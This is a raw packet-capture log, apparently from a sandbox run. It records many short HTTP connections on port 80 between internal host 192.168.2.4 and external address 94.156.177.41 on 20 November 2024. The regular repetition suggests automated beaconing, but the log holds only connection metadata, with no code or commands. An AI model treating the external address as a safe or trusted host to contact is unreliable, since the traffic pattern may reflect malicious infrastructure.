Nov 20, 2024 10:58:21.775449038 CET	80	58688	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:21.775465965 CET	80	58688	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:21.775557995 CET	58688	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:21.775557995 CET	58688	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:21.781333923 CET	80	58688	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:21.924076080 CET	58695	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:21.929126024 CET	80	58695	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:21.929191113 CET	58695	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:21.930898905 CET	58695	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:21.935704947 CET	80	58695	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:21.935753107 CET	58695	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:21.940573931 CET	80	58695	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:22.695555925 CET	80	58695	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:22.695573092 CET	80	58695	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:22.695646048 CET	58695	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:22.695727110 CET	58695	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:22.701370001 CET	80	58695	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:22.842622995 CET	58701	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:22.848274946 CET	80	58701	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:22.848352909 CET	58701	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:22.850301027 CET	58701	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:22.855262041 CET	80	58701	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:22.855309963 CET	58701	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:22.860260010 CET	80	58701	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:23.591485023 CET	80	58701	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:23.591645956 CET	58701	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:23.591701984 CET	80	58701	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:23.591764927 CET	58701	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:23.598768950 CET	80	58701	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:23.745284081 CET	58708	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:23.751600981 CET	80	58708	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:23.751676083 CET	58708	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:23.753654003 CET	58708	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:23.760220051 CET	80	58708	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:23.760309935 CET	58708	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:23.766341925 CET	80	58708	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:24.491024017 CET	80	58708	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:24.491085052 CET	80	58708	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:24.491168022 CET	58708	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:24.491168022 CET	58708	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:24.496109009 CET	80	58708	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:24.628012896 CET	58715	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:24.632896900 CET	80	58715	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:24.632975101 CET	58715	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:24.634911060 CET	58715	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:24.639707088 CET	80	58715	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:24.639780998 CET	58715	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:24.644699097 CET	80	58715	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:25.390342951 CET	80	58715	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:25.390392065 CET	80	58715	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:25.390471935 CET	58715	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:25.390471935 CET	58715	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:25.395416975 CET	80	58715	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:25.535748005 CET	58723	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:25.540700912 CET	80	58723	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:25.540828943 CET	58723	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:25.542803049 CET	58723	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:25.548819065 CET	80	58723	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:25.552645922 CET	58723	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:25.557611942 CET	80	58723	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:26.277719021 CET	80	58723	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:26.277827978 CET	58723	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:26.277853012 CET	80	58723	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:26.277911901 CET	58723	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:26.284981966 CET	80	58723	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:26.422089100 CET	58730	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:26.427050114 CET	80	58730	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:26.427217960 CET	58730	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:26.428895950 CET	58730	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:26.433752060 CET	80	58730	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:26.433857918 CET	58730	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:26.438831091 CET	80	58730	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:27.285520077 CET	80	58730	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:27.285537958 CET	80	58730	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:27.285551071 CET	80	58730	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:27.285839081 CET	58730	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:27.285839081 CET	58730	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:27.290813923 CET	80	58730	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:27.425245047 CET	58736	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:27.430283070 CET	80	58736	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:27.430397034 CET	58736	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:27.432306051 CET	58736	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:27.437243938 CET	80	58736	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:27.437349081 CET	58736	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:27.442404032 CET	80	58736	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:28.175734043 CET	80	58736	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:28.175757885 CET	80	58736	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:28.175851107 CET	58736	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:28.175935984 CET	58736	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:28.184408903 CET	80	58736	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:28.314166069 CET	58742	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:28.319241047 CET	80	58742	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:28.319336891 CET	58742	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:28.321070910 CET	58742	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:28.325912952 CET	80	58742	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:28.325967073 CET	58742	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:28.330900908 CET	80	58742	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:29.063374043 CET	80	58742	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:29.063529015 CET	58742	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:29.063544035 CET	80	58742	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:29.063594103 CET	58742	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:29.071403027 CET	80	58742	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:29.207838058 CET	58752	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:29.212843895 CET	80	58752	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:29.212955952 CET	58752	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:29.215018034 CET	58752	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:29.219896078 CET	80	58752	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:29.219984055 CET	58752	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:29.224875927 CET	80	58752	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:29.951875925 CET	80	58752	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:29.951946020 CET	80	58752	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:29.951999903 CET	58752	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:29.952047110 CET	58752	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:29.956897974 CET	80	58752	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:30.120773077 CET	58758	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:30.127088070 CET	80	58758	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:30.127156973 CET	58758	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:30.130422115 CET	58758	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:30.135273933 CET	80	58758	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:30.135328054 CET	58758	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:30.140187979 CET	80	58758	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:30.880542994 CET	80	58758	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:30.880714893 CET	80	58758	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:30.880809069 CET	58758	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:30.880810022 CET	58758	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:30.885831118 CET	80	58758	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:31.017044067 CET	58764	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:31.022142887 CET	80	58764	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:31.022232056 CET	58764	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:31.024075031 CET	58764	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:31.028966904 CET	80	58764	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:31.029058933 CET	58764	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:31.034893990 CET	80	58764	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:31.753091097 CET	80	58764	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:31.753211975 CET	80	58764	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:31.753243923 CET	58764	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:31.753299952 CET	58764	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:31.758131027 CET	80	58764	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:31.894153118 CET	58770	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:31.901376009 CET	80	58770	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:31.901473999 CET	58770	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:31.903326035 CET	58770	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:31.910443068 CET	80	58770	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:31.910532951 CET	58770	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:31.917557001 CET	80	58770	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:32.772454977 CET	80	58770	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:32.772475958 CET	80	58770	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:32.772838116 CET	58770	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:32.772839069 CET	58770	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:32.777802944 CET	80	58770	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:32.907412052 CET	58777	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:32.915508986 CET	80	58777	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:32.915622950 CET	58777	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:32.917339087 CET	58777	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:32.925481081 CET	80	58777	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:32.925546885 CET	58777	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:32.933852911 CET	80	58777	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:33.662405968 CET	80	58777	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:33.662426949 CET	80	58777	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:33.662623882 CET	58777	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:33.662625074 CET	58777	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:33.672123909 CET	80	58777	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:33.802624941 CET	58786	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:33.807565928 CET	80	58786	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:33.810271025 CET	58786	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:33.812052011 CET	58786	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:33.816895008 CET	80	58786	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:33.816973925 CET	58786	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:33.821774006 CET	80	58786	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:34.540858030 CET	80	58786	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:34.541049957 CET	80	58786	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:34.541285038 CET	58786	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:34.541285038 CET	58786	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:34.546153069 CET	80	58786	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:34.735342026 CET	58792	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:34.740309954 CET	80	58792	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:34.740379095 CET	58792	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:34.742141962 CET	58792	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:34.746992111 CET	80	58792	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:34.747067928 CET	58792	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:34.751966953 CET	80	58792	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:35.492599010 CET	80	58792	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:35.492608070 CET	80	58792	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:35.492666006 CET	58792	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:35.492750883 CET	58792	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:35.497560978 CET	80	58792	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:35.628472090 CET	58799	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:35.636138916 CET	80	58799	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:35.636229992 CET	58799	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:35.638216972 CET	58799	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:35.646163940 CET	80	58799	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:35.646259069 CET	58799	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:35.654516935 CET	80	58799	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:36.384644032 CET	80	58799	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:36.384794950 CET	58799	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:36.384799957 CET	80	58799	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:36.384953976 CET	58799	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:36.389611959 CET	80	58799	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:36.532095909 CET	58806	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:36.536978006 CET	80	58806	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:36.537074089 CET	58806	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:36.539042950 CET	58806	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:36.544029951 CET	80	58806	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:36.544138908 CET	58806	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:36.548929930 CET	80	58806	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:37.276716948 CET	80	58806	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:37.276829958 CET	80	58806	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:37.276882887 CET	58806	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:37.276941061 CET	58806	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:37.281758070 CET	80	58806	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:37.425673962 CET	58812	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:37.430598021 CET	80	58812	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:37.430696011 CET	58812	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:37.432391882 CET	58812	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:37.437253952 CET	80	58812	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:37.437340021 CET	58812	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:37.442109108 CET	80	58812	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:38.177804947 CET	80	58812	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:38.177824974 CET	80	58812	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:38.177894115 CET	58812	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:38.177968979 CET	58812	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:38.186260939 CET	80	58812	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:38.321357965 CET	58818	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:38.330187082 CET	80	58818	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:38.330287933 CET	58818	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:38.332047939 CET	58818	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:38.342974901 CET	80	58818	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:38.343066931 CET	58818	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:38.352186918 CET	80	58818	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:39.075459003 CET	80	58818	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:39.075472116 CET	80	58818	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:39.075545073 CET	58818	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:39.075627089 CET	58818	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:39.080678940 CET	80	58818	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:39.226418972 CET	58827	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:39.233639002 CET	80	58827	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:39.233719110 CET	58827	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:39.235456944 CET	58827	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:39.243791103 CET	80	58827	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:39.243871927 CET	58827	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:39.252362013 CET	80	58827	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:39.980175018 CET	80	58827	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:39.980187893 CET	80	58827	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:39.980307102 CET	58827	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:39.980365038 CET	58827	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:39.986191988 CET	80	58827	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:40.132615089 CET	58828	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:40.137624979 CET	80	58828	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:40.137737036 CET	58828	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:40.140631914 CET	58828	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:40.146684885 CET	80	58828	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:40.146749020 CET	58828	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:40.152890921 CET	80	58828	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:40.879949093 CET	80	58828	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:40.880096912 CET	80	58828	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:40.880124092 CET	58828	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:40.880211115 CET	58828	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:40.887053967 CET	80	58828	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:41.022617102 CET	58829	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:41.027575016 CET	80	58829	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:41.027679920 CET	58829	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:41.029660940 CET	58829	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:41.034451962 CET	80	58829	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:41.034533024 CET	58829	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:41.039355040 CET	80	58829	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:41.780756950 CET	80	58829	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:41.780878067 CET	80	58829	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:41.780910969 CET	58829	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:41.781065941 CET	58829	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:41.787252903 CET	80	58829	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:41.929255962 CET	58830	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:41.934659004 CET	80	58830	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:41.934870958 CET	58830	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:41.937705994 CET	58830	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:41.944207907 CET	80	58830	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:41.944293976 CET	58830	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:41.950783014 CET	80	58830	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:42.700021029 CET	80	58830	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:42.700064898 CET	80	58830	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:42.700126886 CET	58830	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:42.700608015 CET	58830	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:42.707454920 CET	80	58830	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:42.707951069 CET	80	58830	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:42.708034992 CET	58830	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:42.848978043 CET	58831	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:42.853960991 CET	80	58831	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:42.854087114 CET	58831	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:42.855871916 CET	58831	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:42.863152981 CET	80	58831	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:42.863234043 CET	58831	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:42.869421005 CET	80	58831	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:43.621169090 CET	80	58831	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:43.621185064 CET	80	58831	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:43.621341944 CET	58831	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:43.621341944 CET	58831	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:43.626218081 CET	80	58831	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:43.769212961 CET	58832	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:43.774877071 CET	80	58832	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:43.776669979 CET	58832	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:43.778435946 CET	58832	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:43.783929110 CET	80	58832	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:43.784646034 CET	58832	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:43.791589975 CET	80	58832	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:44.664953947 CET	80	58832	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:44.665097952 CET	58832	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:44.665482044 CET	80	58832	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:44.665525913 CET	58832	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:44.673346043 CET	80	58832	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:45.016520023 CET	58833	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:45.021627903 CET	80	58833	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:45.021702051 CET	58833	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:45.031275034 CET	58833	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:45.036192894 CET	80	58833	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:45.036253929 CET	58833	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:45.041100979 CET	80	58833	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:45.774208069 CET	80	58833	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:45.774224043 CET	80	58833	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:45.774285078 CET	58833	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:45.774347067 CET	58833	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:45.779217005 CET	80	58833	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:45.914777040 CET	58834	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:45.921794891 CET	80	58834	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:45.921890020 CET	58834	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:45.923891068 CET	58834	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:45.931327105 CET	80	58834	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:45.931401968 CET	58834	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:45.938503027 CET	80	58834	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:46.706713915 CET	80	58834	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:46.706732988 CET	80	58834	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:46.706839085 CET	58834	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:46.706934929 CET	58834	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:46.711977005 CET	80	58834	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:46.856681108 CET	58835	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:46.861618042 CET	80	58835	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:46.861680031 CET	58835	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:46.863411903 CET	58835	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:46.868218899 CET	80	58835	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:46.868272066 CET	58835	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:46.873111963 CET	80	58835	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:47.637343884 CET	80	58835	94.156.177.41	192.168.2.4
